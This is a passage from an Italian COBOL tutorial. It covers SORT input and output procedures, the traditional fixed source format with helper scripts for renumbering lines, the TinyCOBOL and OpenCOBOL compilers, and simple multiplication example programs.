001700 FILE SECTION.
001800*
001900 FD  FILE-DA-ORDINARE.
002000 01  RECORD-DA-ORDINARE           PIC X(10).
002100*
002200 SD  FILE-PER-IL-RIORDINO.
002300*
002400 01  RECORD-PER-IL-RIORDINO.
002500     02  CHIAVE-ORDINAMENTO       PIC X(5).
002600     02  FILLER                   PIC X(5).
```

```
002700
002800 WORKING-STORAGE SECTION.
002900 77  EOF                          PIC 9 VALUE 0.
003000*
003100 PROCEDURE DIVISION.
003200*------------------------- LIVELLO 0 -----------------------------
003300 MAIN SECTION.
003400 INIZIO.
003500     SORT FILE-PER-IL-RIORDINO,
003600          ON ASCENDING KEY CHIAVE-ORDINAMENTO,
003700          USING FILE-DA-ORDINARE,
003800          OUTPUT PROCEDURE IS MOSTRA-FILE-ORDINATO.
003900*
004000     STOP RUN.
004100*
004200*--------------------- SORT-MERGE PROCEDURE ----------------------
004300 MOSTRA-FILE-ORDINATO SECTION.
004400 INIZIO.
004500     PERFORM MOSTRA-RECORD UNTIL EOF = 1.
004600     GO TO FINE.
004700 MOSTRA-RECORD.
004800     RETURN FILE-PER-IL-RIORDINO RECORD
004900           AT END MOVE 1 TO EOF,
005000                  DISPLAY "FINE DEL FILE ORDINATO".
005100     IF EOF = 0
005200     THEN
005300         DISPLAY RECORD-PER-IL-RIORDINO.
005400 FINE.
005500     EXIT.
005600*
```

L'esempio riguarda la visualizzazione di un file ordinato, senza generare il file stesso, ma si applica tale e quale al caso della fusione.

83.13.5 Acquisizione dei dati per il riordino da una procedura

Limitatamente al caso del riordino, con l'istruzione '**SORT**', è possibile acquisire i record da riordinare attraverso una procedura:

```
                                      .--  /           \                  --.
                                      |    |  THROUGH  |                    |
INPUT PROCEDURE IS  procedure-name-1  |    <  -------  >  procedure-name-2  |
----- ---------                       |    |  THRU     |                    |
                                      `--  \  ----     /                  --'
```

Nell'ambito dell'intervallo di procedure chiamato, occorre usare l'istruzione '**RELEASE**' per passare formalmente un record. L'istruzione '**RELEASE**' si utilizza e si comporta come l'istruzione '**WRITE**' per i file sequenziali:

```
WRITE  record-name  [ FROM identifier-1 ]
-----                 ----
```

Il record è il nome della variabile strutturata corrispondente del file che esegue in pratica l'ordinamento, ovvero quello che nello schema sintattico dell'istruzione '**SORT**' appare come ***file-name-1***.

Listato 83.258. Esempio di acquisizione di record da ordinare attraverso l'inserimento diretto.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-SORT-3.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-18.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-PER-IL-RIORDINO ASSIGN TO "sort.tmp".
001300*
001400 DATA DIVISION.
001500*
001600 FILE SECTION.
001700*
001800 SD  FILE-PER-IL-RIORDINO.
001900*
002000 01  RECORD-PER-IL-RIORDINO.
002100     02  CHIAVE-ORDINAMENTO       PIC X(5).
002200     02  FILLER                   PIC X(5).
002300
002400 WORKING-STORAGE SECTION.
002500 77  EOJ                          PIC 9 VALUE 0.
002600 77  EOF                          PIC 9 VALUE 0.
002700 77  DATI-INSERITI                PIC X(10).
002800*
002900 PROCEDURE DIVISION.
003000*------------------------- LIVELLO 0 -----------------------------
003100 MAIN SECTION.
003200 INIZIO.
003300     SORT FILE-PER-IL-RIORDINO,
003400          ON ASCENDING KEY CHIAVE-ORDINAMENTO,
003500          INPUT PROCEDURE IS INSERIMENTO-DATI,
003600          OUTPUT PROCEDURE IS MOSTRA-FILE-ORDINATO.
003700*
003800     STOP RUN.
003900*
004000*--------------------- SORT-MERGE PROCEDURE ----------------------
004100 MOSTRA-FILE-ORDINATO SECTION.
004200 INIZIO.
004300     PERFORM MOSTRA-RECORD UNTIL EOF = 1.
004400     GO TO FINE.
004500 MOSTRA-RECORD.
004600     RETURN FILE-PER-IL-RIORDINO RECORD
004700           AT END MOVE 1 TO EOF,
```

```
004800                  DISPLAY "FINE DEL FILE ORDINATO".
004900     IF EOF = 0
005000     THEN
005100         DISPLAY RECORD-PER-IL-RIORDINO.
005200 FINE.
005300     EXIT.
005400*-----------------------------------------------------------------
005500 INSERIMENTO-DATI SECTION.
005600 INIZIO.
005700     PERFORM INSERISCI-RECORD UNTIL EOJ = 1.
005800     GO TO FINE.
005900 INSERISCI-RECORD.
006000     DISPLAY "INSERISCI UN RECORD DA 10 CARATTERI:".
006100     ACCEPT DATI-INSERITI.
006200     IF DATI-INSERITI = SPACES
006300     THEN
006400         MOVE 1 TO EOJ;
006500     ELSE
006600         MOVE DATI-INSERITI TO RECORD-PER-IL-RIORDINO,
006700         RELEASE RECORD-PER-IL-RIORDINO.
006800 FINE.
006900     EXIT.
007000*
```

L'esempio è completo, in quanto anche il risultato del riordino viene gestito tramite una procedura. Nella fase di inserimento dati, si può osservare che un inserimento nullo (pari all'inserimento di tutti spazi), implica la conclusione di quella fase.

83.14 Riferimenti

- Christopher Heng, *Free COBOL compilers and interpreters*
  ⟨*http://www.thefreecountry.com/compilers/cobol.shtml* ⟩
- *Programming manuals and tutorials*, *COBOL*
  ⟨*http://www.theamericanprogrammer.com/programming/manuals.cobol.html* ⟩
- *MPE/iX and HP e3000 Technical Documentation*, *HP COBOL II/XL*
  - *Programmer's guide*
    ⟨*http://docs.hp.com/en/424/31500-90014.pdf* ⟩
  - *Quick reference guide*
    ⟨*http://docs.hp.com/en/425/31500-90015.pdf* ⟩
  - *Reference manual*
    ⟨*http://docs.hp.com/en/426/31500-90013.pdf* ⟩
- *Compaq COBOL Reference Manual*
  ⟨*http://www.helsinki.fi/atk/unix/dec_manuals/cobv27ua/cobrm_contents.htm* ⟩

Capitolo 84

Programmare in COBOL

84.1 Preparazione 5087
84.1.1 Problema del modulo di programmazione 5088
84.1.2 Riepilogo di alcuni concetti importanti del linguaggio 5090
84.1.3 TinyCOBOL 5092
84.1.4 OpenCOBOL 5093
84.2 Esempi elementari 5093
84.2.1 ELM0100: prodotto tra due numeri 5093
84.2.2 ELM0200: prodotto tra due numeri 5094
84.2.3 ELM0300: prodotto tra due numeri 5095
84.2.4 ELM0400: prodotto tra due numeri 5096
84.2.5 ELM0500: prodotto tra due numeri 5098
84.2.6 ELM0600: inserimento dati in un vettore 5100
84.2.7 ELM0700: inserimento dati in un vettore 5101
84.2.8 ELM0800: inserimento dati in un vettore 5103
84.2.9 ELM0900: ricerca sequenziale all'interno di un vettore 5105
84.2.10 ELM1000: ricerca sequenziale all'interno di un vettore 5107
84.2.11 ELM1100: ricerca sequenziale all'interno di un vettore 5109
84.2.12 ELM1300: creazione di un file sequenziale 5111
84.2.13 ELM1400: estensione di un file sequenziale 5113
84.2.14 ELM1500: lettura di un file sequenziale 5115
84.3 Esempi elementari con i file 5117
84.3.1 AGO-83-1: estensione di un file sequenziale 5117
84.3.2 AGO-83-2: lettura sequenziale e ricerca di una chiave 5118
84.3.3 AGO-83-3: estensione di un file relativo 5120
84.3.4 AGO-83-4: lettura di un file relativo ad accesso diretto 5121
84.3.5 AGO-83-5: creazione di un file a indice 5122
84.3.6 AGO-83-6: lettura di un file a indice ad accesso diretto 5123
84.3.7 AGO-83-8: lettura di un file a indice ad accesso dinamico 5125
84.3.8 AGO-83-10: lettura di un file a indice ad accesso dinamico 5126
84.3.9 AGO-83-12: lettura di un file a indice ad accesso dinamico 5128
84.3.10 AGO-83-13: creazione di un file sequenziale con dati da rielaborare . . . 5130
84.3.11 AGO-83-14: lettura e riscrittura di un file sequenziale 5131
84.3.12 AGO-83-15: estensione di un file sequenziale contenente aggiornamenti successivi 5133
84.3.13 AGO-83-16: aggiornamento di un file a indice 5134
84.3.14 AGO-83-18: fusione tra due file sequenziali ordinati 5136

84.3.15 AGO-83-20: riordino attraverso la fusione 5138

84.4 Approfondimento: una tecnica per simulare la ricorsione in COBOL 5142

84.4.1 Il concetto di locale e di globale 5143
84.4.2 La ricorsione 5143
84.4.3 Proprietà del linguaggio ricorsivo 5143
84.4.4 Descrizione della tecnica per simulare la ricorsione in COBOL 5144
84.4.5 Torre di Hanoi 5145
84.4.6 Quicksort (ordinamento non decrescente) 5148
84.4.7 Permutazioni 5155
84.4.8 Bibliografia 5160

84.5 Riferimenti 5162

Questo capitolo tratta di casi pratici di programmazione in linguaggio COBOL, con l'intento di recuperare un vecchio lavoro realizzato con il sostegno di Antonio Bernardi, durante i primi anni 1980, utilizzando un elaboratore Burroughs B91.

Figura 84.1. *Mainframe* Burroughs B1900 del 1985: un sogno mai realizzato. La foto originale proviene da ⟨http://www.kiwanja.net/photos.htm⟩ ed è di Ken Banks. La foto viene riprodotta qui con il permesso del suo autore.

84.1 Preparazione

Il linguaggio COBOL nasce quando l'inserimento dei dati in un elaboratore avveniva principalmente attraverso schede perforate, pertanto, da questo derivano delle limitazioni nel modo in cui vanno scritte le sue direttive.

84.1.1 Problema del modulo di programmazione

Il linguaggio COBOL nasce imponendo dei vincoli al modo di utilizzare gli spazi orizzontali nel file del sorgente. Questi vincoli consentivano di amministrare con un certo criterio la procedura di perforazione e riutilizzo delle schede perforate.

Terminata l'era delle schede perforate, i compilatori hanno cominciato a essere più disponibili e ad accettare codice COBOL scritto senza rispettare i vincoli del modulo di programmazione tradizionale (normalmente viene eliminato l'obbligo della numerazione delle righe e l'area in cui è possibile scrivere le istruzioni si estende per un numero indefinito di colonne, cancellando la funzione della zona identificativa del programma); tuttavia, il suggerimento che qui viene dato è di continuare a usare il modello originale, considerata la particolarità del linguaggio di programmazione, che perderebbe la sua logica estetica. Il listato successivo mostra l'esempio di un programma COBOL molto breve, dove si può vedere l'utilizzo delle varie aree secondo il criterio del modulo di programmazione del linguaggio.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0100.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-12.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.                                         WSS-0000
001100 01  A PIC 9(7).                                                  WSS-0000
001200 01  B PIC 9(7).                                                  WSS-0000
001300 01  C PIC 9(14).                                                 WSS-0000
001400*
001500 PROCEDURE DIVISION.
001600*-----------------------------------------------------------------
001700 MAIN.
001800     DISPLAY "MOLTIPLICAZIONE DI DUE NUMERI".
001900     DISPLAY "INSERISCI IL PRIMO ELEMENTO".
002000     ACCEPT A.
002100     DISPLAY "INSERISCI IL SECONDO ELEMENTO".
002200     ACCEPT B.
002300     COMPUTE C = A * B.
002400     DISPLAY C.
002500*
002600     STOP RUN.
002700*
```

Nell'esempio si può osservare: l'uso dell'asterisco nella settima colonna per indicare un commento; la presenza di direttive che iniziano a dalla colonna ottava e di altre che iniziano dalla colonna dodicesima; l'indicazione di un'etichetta distintiva nelle otto colonne finali ('**`WSS-0000`**'), in corrispondenza di alcune righe (probabilmente per ricordare che quella porzione proviene da un altro programma).

Si osservi che quanto appare nelle ultime otto colonne non ha valore per il linguaggio di programmazione, ma rappresenta un modo per individuare gruppi di righe che possono avere qualche tipo di importanza, oppure qualunque altro tipo di annotazione.

Generalmente, i compilatori consentono di specificare con quale formato viene fornito il file sorgente; la scelta è normalmente tra un formato «fisso» (tradizionale), oppure libero (senza vincoli particolari).

Dal momento che attualmente la numerazione delle righe è divenuta puramente un fatto estetico, ci si può aiutare con uno script per rinumerare il sorgente. Il listato successivo mostra uno script molto semplice, che presuppone di ricevere dallo standard input un file sorgente con i numeri di riga, anche se errati, emettendo lo stesso sorgente attraverso lo standard output, ma con una numerazione progressiva uniforme.

```
#!/bin/sh
#
# cobol-line-renumber.sh INCREMENT < SOURCE_COB > NEW_SOURCE_COB
#
INCREMENT="$1"
LINE=""
NUMBER="0"
NUMBER_FORMATTED=""
#
while read LINE
do
    NUMBER=$(($NUMBER+$INCREMENT))
    NUMBER_FORMATTED=`printf %000006d $NUMBER`
    LINE=`echo "$LINE" | sed s/^[0-9][0-9][0-9][0-9][0-9][0-9]//`
    LINE="$NUMBER_FORMATTED$LINE"
    echo "$LINE"
done
```

In pratica, supponendo che lo script si chiami '**`cobol-line-renumber.sh`**', si potrebbe usare come nell'esempio seguente:

`$` **`cobol-line-renumber.sh < sorgente.cob > rinumerato.cob`** [*Invio*]

84.1.1.1 Compatibilità con i compilatori

I compilatori nati dopo la fine delle schede perforate possono essere più o meno disposti ad accettare la presenza della numerazione delle righe o delle colonne finali di commento. Generalmente questi compilatori consentono di indicare un'opzione che specifica il formato del sorgente; tuttavia si può utilizzare uno script simile a quello seguente, per eliminare le colonne della numerazione delle righe e le colonne descrittive di identificazione del programma:

```
#!/usr/bin/perl
#
# cobol-compile SOURCE_COB SOURCE_COB_NEW
#
use utf8;
binmode (STDOUT, ":utf8");
binmode (STDERR, ":utf8");
```

```
binmode (STDIN,  ":utf8");
#
$source=$ARGV[0];
$source_new=$ARGV[1];
$line="";
#
open (SOURCE,     "<:utf8", "$source");
open (SOURCE_NEW, ">:utf8", "$source_new");
#
while ($line = <SOURCE>)
  {
    chomp ($line);
    $line =~ m/^[0-9][0-9][0-9][0-9][0-9][0-9](.*)$/;
    $line = $1;
    if ($line =~ m/^(.{66}).*$/)
      {
        $line = $1;
      }
    print SOURCE_NEW ("$line\n");
  }
close (SOURCE_NEW);
close (SOURCE);
#
```

Eventualmente, se il problema consistesse soltanto nella rimozione del numero di riga, si potrebbe usare uno script molto più semplice:

```
#!/bin/sh
#
# cobol-compile SOURCE_COB SOURCE_COB_NEW
#
SOURCE="$1"
SOURCE_NEW="$2"
cat $SOURCE | sed s/^[0-9][0-9][0-9][0-9][0-9][0-9]//g > $SOURCE_NEW
```

84.1.2 Riepilogo di alcuni concetti importanti del linguaggio

In generale, le istruzioni del linguaggio COBOL sono da intendere come frasi scritte in inglese, che terminano con un punto fermo. In certe situazioni, si riuniscono più istruzioni in un'unica «frase», che termina con un punto, ma in tal caso, spesso si usa la virgola e il punto e virgola per concludere le istruzioni singole.

Le istruzioni del linguaggio si compongono in linea di massima di parole chiave, costanti letterali e operatori matematici. Le parole chiave sono scritte usando lettere maiuscole (dell'alfabeto inglese) e il trattino normale ('-'). In generale, i simboli che si possono usare nel linguaggio sono abbastanza limitati, con l'eccezione del contenuto delle costanti alfanumeriche letterali, che teoricamente potrebbero contenere qualunque simbolo (escluso quello che si usa come delimitatore) secondo le potenzialità del compilatore particolare.

Tabella 84.6. I simboli disponibili nel linguaggio.

Simboli	Descrizione	Simboli	Descrizione
‘0’..‘9’	cifre numeriche	‘A’..‘Z’	lettere maiuscole dell’alfabeto inglese (latino)
‘ ’	spazio		
‘+’	segno più	‘-’	segno meno o trattino
‘*’	asterisco	‘/’	barra obliqua
‘$’	dollaro o segno di valuta	‘,’	virgola
‘;’	punto e virgola	‘.’	punto fermo
‘(’	parentesi aperta	‘)’	parentesi chiusa
‘<’	minore	‘>’	maggiore

Le parole chiave più importanti del linguaggio sono dei «verbi» imperativi, che descrivono un comando che si vuole sia eseguito. Un gruppo interessante di parole chiave è rappresentato dalle «costanti figurative», che servono a indicare verbalmente delle costanti di uso comune. Per esempio, la parola chiave ‘**ZERO**’ rappresenta uno o più zeri, in base al contesto.

Le stringhe sono delimitate da virgolette (apici doppi) e di solito non sono previste forme di protezione per incorporare le virgolette stesse all’interno delle stringhe: per questo occorre suddividere le stringhe, concatenandole con la costante figurativa ‘**QUOTE**’.

La gestione numerica del COBOL è speciale rispetto ai linguaggi di programmazione comuni, perché le variabili vengono dichiarate con la loro dimensione di cifre esatta, stabilendo anche la quantità di decimali e il modo in cui l’informazione deve essere gestita. In pratica, si stabilisce il modo in cui il valore deve essere rappresentato, lasciando al compilatore il compito di eseguire ogni volta tutte le conversioni necessarie. Sotto questo aspetto, un programma COBOL ha una gestione per i valori numerici molto pesante, quindi più lenta rispetto ad altri linguaggi, dove i valori numerici sono gestiti in base alle caratteristiche fisiche della CPU e le conversioni di tipo devono essere dichiarate esplicitamente.

Le variabili usate nel linguaggio sono sempre globali e come tali vanno dichiarate in una posizione apposita. Tali variabili, salvo situazioni eccezionali, fanno sempre parte di un record, inteso come una raccolta di campi di informazioni. Questa gestione particolare costringe a stabilire esattamente le dimensioni che ogni informazione deve avere se registrata nella memoria di massa (dischi, nastri o altro) o se stampata. In un certo senso, questa caratteristica può impedire o rendere difficile l’uso di una forme di codifica dei caratteri che preveda una dimensione variabile degli stessi, considerato che i record possono essere rimappati, trattando anche valori numerici come insiemi di cifre letterali.

Questo particolare, che non è affatto di poco conto, suggerisce di usare il linguaggio per gestire dati rappresentabili con il codice ASCII tradizionale, ovvero con i primi 127 punti di codifica (da U+0000 a U+007F). Naturalmente sono disponibili compilatori che permettono di superare questo problema, ma in tal caso occorre verificare come vengono gestiti effettivamente i dati.

Le istruzioni COBOL possono essere scritte usando più righe, avendo l’accortezza di continuare a partire dall’area «B»; in generale non c’è bisogno di indicare esplicitamente che l’istruzione sta continuando nella riga successiva, perché si usa il punto fermo per riconoscere la loro conclusione. Tuttavia, in situazioni eccezionali, si può spezzare una parola chiave o anche una stringa letterale; in tal caso, nella settima colonna delle riga che continua, va inserito il segno ‘-’, inoltre, se si tratta di una stringa, la sua ripresa va iniziata nuovamente con le

virgolette. A ogni modo, considerato che difficilmente si devono scrivere parole chiave molto lunghe e che le stringhe letterali si possono concatenare, è auspicabile che la continuazione nella riga successiva con l'indicatore nella settima colonna sia evitata del tutto.

I commenti nel sorgente si indicano inserendo un asterisco nella settima colonna; se invece si mette una barra obliqua ('**/**') si vuole richiedere un salto pagina, in fase di stampa, ammesso che il compilatore preveda questo.

84.1.3 TinyCOBOL

TinyCOBOL[1] è un compilatore COBOL che tende alla conformità con gli standard del 1985. Come per ogni compilatore COBOL ci sono delle differenze rispetto al linguaggio «standard», in particolare è disponibile la possibilità di recepire gli argomenti della riga di comando e di accedere ai flussi standard dei sistemi Unix (standard input, standard output e standard error).

La compilazione di un programma si ottiene attraverso il programma '**htcobol**', che, salvo l'uso dell'opzione '**-F**', si aspetta di trovare un sorgente senza numerazione delle righe e senza il blocco descrittivo finale delle colonne da 73 a 80. In pratica, ciò consentirebbe si disporre di un'area B (per le istruzioni) molto più ampia.

```
htcobol [opzioni] file_sorgente_cobol
```

Il programma '**htcobol**' si aspetta che il file sorgente abbia un nome con un'estensione '.cob' e, in tal caso, l'estensione può anche essere omessa. Se non si specificano opzioni, si ottiene un file eseguibile con lo stesso nome del sorgente, ma senza l'estensione '.cob'.

Tabella 84.7. Alcune opzioni.

Opzione	Descrizione
-o *file*	Richiede che il file generato dalla compilazione abbia il nome stabilito dall'argomento dell'opzione.
-X	Richiede che il file sorgente sia scritto senza numerazione delle righe e senza commenti nelle colonne da 73 a 80; tuttavia questa è la modalità di funzionamento predefinita.
-F	Richiede che il file sorgente sia scritto secondo il formato tradizionale (con la numerazione delle righe e con il limite dell'area «B»).

Vengono mostrati alcuni esempi.

- $ **htcobol -F esempio.cob** [*Invio*]

  Compila il programma 'esempio.cob', generando il file eseguibile '**esempio**'. Se non vengono riscontrati errori, la compilazione non genera alcun messaggio.

- $ **htcobol -F -o programma esempio.cob** [*Invio*]

  Compila il programma 'esempio.cob', generando il file eseguibile '**programma**'. Se non vengono riscontrati errori, la compilazione non genera alcun messaggio.

84.1.4 OpenCOBOL

OpenCOBOL[2] è un compilatore COBOL che genera codice in linguaggio C e si avvale di GCC per arrivare a produrre il file eseguibile finale. In generale si utilizza per la compilazione il programma '**cobc**' che si prende cura di tutti i passaggi necessari:

```
cobc [opzioni] file_sorgente_cobol
```

Tabella 84.8. Alcune opzioni.

Opzione	Descrizione
`-free`	Richiede che il file sorgente sia scritto in formato «libero» (senza i vincoli della numerazione delle righe e senza commenti nelle colonne da 73 a 80.
`-fixed`	Richiede che il file sorgente sia scritto secondo il formato tradizionale (con la numerazione delle righe e con il limite tradizionale dell'area «B»).

L'esempio seguente compila il file '`esempio.cob`' e genera il file eseguibile '**esempio**':

$ **cobc esempio.cob** [*Invio*]

84.2 Esempi elementari

Qui si raccolgono alcuni esempi elementari di programmi COBOL, risalenti a un lavoro didattico del 1985. Salvo dove indicato in maniera differente, gli esempi mostrati funzionano regolarmente se compilati con OpenCOBOL 0.31.

84.2.1 ELM0100: prodotto tra due numeri

Variabili

'**A**' è il moltiplicando;

'**B**' è il moltiplicatore;

'**C**' è il risultato.

Descrizione

Il calcolo viene eseguito attraverso l'istruzione '**COMPUTE**'.

Paragrafo '**MAIN**'

Il programma si svolge unicamente all'interno di questo paragrafo. Il programma riceve dall'esterno i valori per le variabili '**A**' e '**B**', esegue il prodotto tramite l'istruzione '**COMPUTE**' mettendo il risultato nella variabile '**C**'.

Viene visualizzato il contenuto della variabile '**C**' con l'istruzione '**DISPLAY**'.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.    ELM0100.
000300 AUTHOR.        DANIELE GIACOMINI.
```

```
000400 DATE-WRITTEN. 1985-02-12.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  A PIC 9(7).
001200 01  B PIC 9(7).
001300 01  C PIC 9(14).
001400*
001500 PROCEDURE DIVISION.
001600*------------------------------------------------------------------
001700 MAIN.
001800     DISPLAY "MOLTIPLICAZIONE DI DUE NUMERI".
001900     DISPLAY "INSERISCI IL PRIMO ELEMENTO".
002000     ACCEPT A.
002100     DISPLAY "INSERISCI IL SECONDO ELEMENTO".
002200     ACCEPT B.
002300     COMPUTE C = A * B.
002400     DISPLAY C.
002500*
002600     STOP RUN.
002700*
```

84.2.2 ELM0200: prodotto tra due numeri

Variabili

‘**A**’ è il moltiplicando;

‘**B**’ è il moltiplicatore;

‘**C**’ è il risultato; questa variabile viene inizializzata a zero in fase di dichiarazione.

Descrizione

Il calcolo viene eseguito sommando alla variabile ‘**C**’ la variabile ‘**A**’ per ‘**B**’ volte.

Paragrafo ‘**MAIN**’

Il programma riceve dall’esterno i valori per le variabili ‘**A**’ e ‘**B**’. Attraverso l’istruzione ‘**PERFORM**’ viene eseguito il paragrafo ‘**SOMMA**’ per ‘**B**’ volte; al termine di questo ciclo il risultato della moltiplicazione si trova nella variabile ‘**C**’, che viene visualizzato con l’istruzione ‘**DISPLAY**’.

Il programma si arresta perché incontra l’istruzione ‘**STOP RUN**’.

Paragrafo ‘**SOMMA**’

Il paragrafo somma al contenuto della variabile ‘**C**’ il contenuto della variabile ‘**A**’. Dal momento che questo paragrafo viene eseguito ‘**B**’ volte, la variabile ‘**C**’ finisce con il contenere il risultato del prodotto di «A×B».

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0200.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-14.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  A PIC 9(7).
001200 01  B PIC 9(7).
001300 01  C PIC 9(14)   VALUE ZERO.
001400*
001500 PROCEDURE DIVISION.
001600*------------------------- LIVELLO 0 -----------------------------
001700 MAIN.
001800     DISPLAY "MOLTIPLICAZIONE DI DUE NUMERI".
001900     DISPLAY "INSERISCI IL PRIMO ELEMENTO".
002000     ACCEPT A.
002100     DISPLAY "INSERISCI IL SECONDO ELEMENTO".
002200     ACCEPT B.
002300     PERFORM SOMMA B TIMES.
002400     DISPLAY C.
002500*
002600     STOP RUN.
002700*------------------------- LIVELLO 1 -----------------------------
002800 SOMMA.
002900     COMPUTE C = C + A.
003000*
```

84.2.3 ELM0300: prodotto tra due numeri

Variabili

'**A**' è il moltiplicando;

'**B**' è il moltiplicatore;

'**C**' è il risultato.

Descrizione

Il calcolo viene eseguito sommando alla variabile '**C**' la variabile '**A**' per '**B**' volte. Per ogni esecuzione di tale somma, la variabile '**B**' viene diminuita di una unità, cosicché il ciclo delle somme viene arrestato quando '**B**' è ormai a zero.

Paragrafo '**MAIN**'

Vengono ricevuti dall'esterno i valori per le variabili '**A**' e '**B**'. Viene eseguito tramite l'istruzione '**PERFORM**' il paragrafo '**SOMMA**' fino a quando la variabile '**B**' raggiunge lo zero. A quel punto la variabile '**C**' contiene il risultato del prodotto, che viene visualizzato con l'istruzione '**DISPLAY**'.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**SOMMA**'

Inizialmente viene decrementato di una unità il contenuto della variabile '**B**', quindi viene sommato al contenuto di '**C**' il valore di '**A**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0300.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-04-13.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  A PIC 9(7).
001200 01  B PIC 9(7).
001300 01  C PIC 9(14)   VALUE ZERO.
001400*
001500 PROCEDURE DIVISION.
001600*------------------------- LIVELLO 0 -----------------------------
001700 MAIN.
001800     DISPLAY "MOLTIPLICAZIONE DI DUE NUMERI".
001900     DISPLAY "INSERISCI IL PRIMO ELEMENTO".
002000     ACCEPT A.
002100     DISPLAY "INSERISCI IL SECONDO ELEMENTO".
002200     ACCEPT B.
002300     PERFORM SOMMA UNTIL B = 0.
002400     DISPLAY C.
002500*
002600     STOP RUN.
002700*------------------------- LIVELLO 1 -----------------------------
002800 SOMMA.
002900     COMPUTE B = B - 1.
003000     COMPUTE C = C + A.
003100*
```

84.2.4 ELM0400: prodotto tra due numeri

Variabili

'**A**' è il moltiplicando;

'**B**' è il moltiplicatore;

'**C**' è il risultato;

'**EOJ**' quando assume il valore 1 il programma si arresta;

'**RISPOSTA**' è la variabile che riceve la risposta, un '**SI**' o un '**NO**', per la continuazione o meno con un altro calcolo.

Descrizione

Il calcolo viene eseguito sommando alla variabile '**C**' la variabile '**A**' per '**B**' volte. Per

ogni esecuzione di tale somma, la variabile '**B**' viene diminuita di una unità, cosicché il ciclo delle somme viene arrestato quando '**B**' è ormai a zero.

Il programma si arresta solo se gli viene dato un comando apposito, altrimenti continua a richiedere altri dati per l'esecuzione di un altro prodotto.

Paragrafo '**MAIN**'

Vengono ricevuti dall'esterno i valori per le variabili '**A**' e '**B**' tramite il paragrafo '**INSERIMENTO-DATI**'.

Viene eseguito il paragrafo '**LAVORO**' ripetutamente, terminando il ciclo quando la variabile '**EOJ**' contiene il valore uno.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LAVORO**'

Viene eseguito tramite l'istruzione '**PERFORM**' il paragrafo '**SOMMA**' ripetutamente, terminando il ciclo quando la variabile '**B**' contiene il valore zero. A quel punto, la variabile '**C**' contiene il risultato del prodotto, che viene visualizzato con l'istruzione '**DISPLAY**'.

Il programma riceve dall'esterno una parola: un '**SI**' o un '**NO**'; se viene fornita la stringa '**SI**' (scritta con lettere maiuscole) il programma azzera il contenuto della variabile '**C**' ed esegue il paragrafo '**INSERIMENTO-DATI**', altrimenti, viene messo il valore uno nella variabile '**EOJ**'.

Paragrafo '**INSERIMENTO-DATI**'

Il paragrafo riceve dall'esterno i valori per le variabili '**A**' e '**B**'.

Paragrafo '**SOMMA**'

Inizialmente viene decrementato di una unità il contenuto della variabile '**B**', quindi viene sommato al contenuto di '**C**' il valore di '**A**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0400.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-14.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  A        PIC 9(7).
001200 01  B        PIC 9(7).
001300 01  C        PIC 9(14)   VALUE ZERO.
001400 01  EOJ      PIC 9       VALUE ZERO.
001500 01  RISPOSTA PIC XX.
001600*
001700 PROCEDURE DIVISION.
001800*------------------------- LIVELLO 0 -----------------------------
001900 MAIN.
002000     PERFORM INSERIMENTO-DATI.
002100     PERFORM LAVORO UNTIL EOJ = 1.
002200*
002300     STOP RUN.
```

```
002400*------------------------- LIVELLO 1 -----------------------------
002500 LAVORO.
002600     PERFORM SOMMA UNTIL B = 0.
002700     DISPLAY C.
002800*
002900     DISPLAY "VUOI CONTINUARE? SI O NO".
003000     ACCEPT RISPOSTA.
003100*
003200     IF RISPOSTA = "SI"
003300       THEN
003400           MOVE ZERO TO C,
003500           PERFORM INSERIMENTO-DATI;
003600       ELSE
003700           MOVE 1 TO EOJ.
003800*------------------------- LIVELLO 2 -----------------------------
003900 INSERIMENTO-DATI.
004000     DISPLAY "INSERISCI IL PRIMO ELEMENTO".
004100     ACCEPT A.
004200     DISPLAY "INSERISCI IL SECONDO ELEMENTO".
004300     ACCEPT B.
004400*-----------------------------------------------------------------
004500 SOMMA.
004600     COMPUTE B = B - 1.
004700     COMPUTE C = C + A.
004800*
```

84.2.5 ELM0500: prodotto tra due numeri

Variabili

‘**A**’ è il moltiplicando;

‘**B**’ è il moltiplicatore;

‘**C**’ è il risultato;

‘**EOJ**’ quando assume il valore 1 il programma si arresta;

‘**RISPOSTA**’ è la variabile che riceve la risposta, un ‘**SI**’ o un ‘**NO**’, per la continuazione o meno con un altro calcolo.

Descrizione

Il calcolo viene eseguito sommando alla variabile ‘**C**’ la variabile ‘**A**’ per ‘**B**’ volte. Il controllo di questa somma viene effettuato da un ciclo ‘**PERFORM VARYING**’ che decrementa di una unità la variabile ‘**B**’, partendo dal suo valore iniziale, fino a quando si riduce a zero, nel qual caso il ciclo si arresta.

Paragrafo ‘**MAIN**’

